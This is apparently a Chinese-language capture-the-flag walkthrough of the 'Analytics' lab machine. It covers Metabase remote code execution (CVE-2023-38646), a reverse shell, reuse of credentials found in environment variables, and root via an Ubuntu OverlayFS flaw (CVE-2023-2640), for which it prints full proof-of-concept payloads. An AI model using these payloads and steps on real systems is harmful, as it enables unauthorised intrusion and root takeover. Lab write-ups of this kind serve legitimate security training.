Analytics
端口扫描
发现存在22、80端口
端口利用
访问80端口,发现是一个网站,进行网站目录扫描
发现没有可以利用的目录,回到网站,发现存在登录的按钮
搜索发现存在Metabase远程命令执行漏洞(CVE-2023-38646)
反弹shell
上GitHub下载利用脚本https://github.com/robotmikhro/CVE-2023-38646,下载到kali后,查看利用方式为
本地起一个http服务,使得利用脚本时候能够下载本地的sh文件
编辑目录下的sh文件,使得访问该文件的时候能够反弹shell
本地开启9999端口监听,执行漏洞利用脚本文件
获取shell
查看当前目录内容,发现存在dockerenv,怀疑是docker容器
使用env命令查看当前环境
发现存在user和pass,尝试登录ssh
权限提升
查看当前用户具有的权限
发现不存在sudo和suid提权,查看系统版本
漏洞库中不存在相关漏洞,在网上寻找最新的Ubuntu漏洞:https://www.reddit.com/r/selfhosted/comments/15ecpck/ubuntu_local_privilege_escalation_cve20232640/?rdt=34791,利用方式为
# original poc payload
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
# adjusted poc payload by twitter user; likely false positive
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'"
依次执行上述代码后,显示结果如下
其中显示了root账户的id,表示存在漏洞,此处漏洞为system里的参数是以root用户身份来执行的,因此在os.system中调用nc来反弹shell,此处因为nc没有-e参数,因此选择nc mkfifo来反弹
提权成功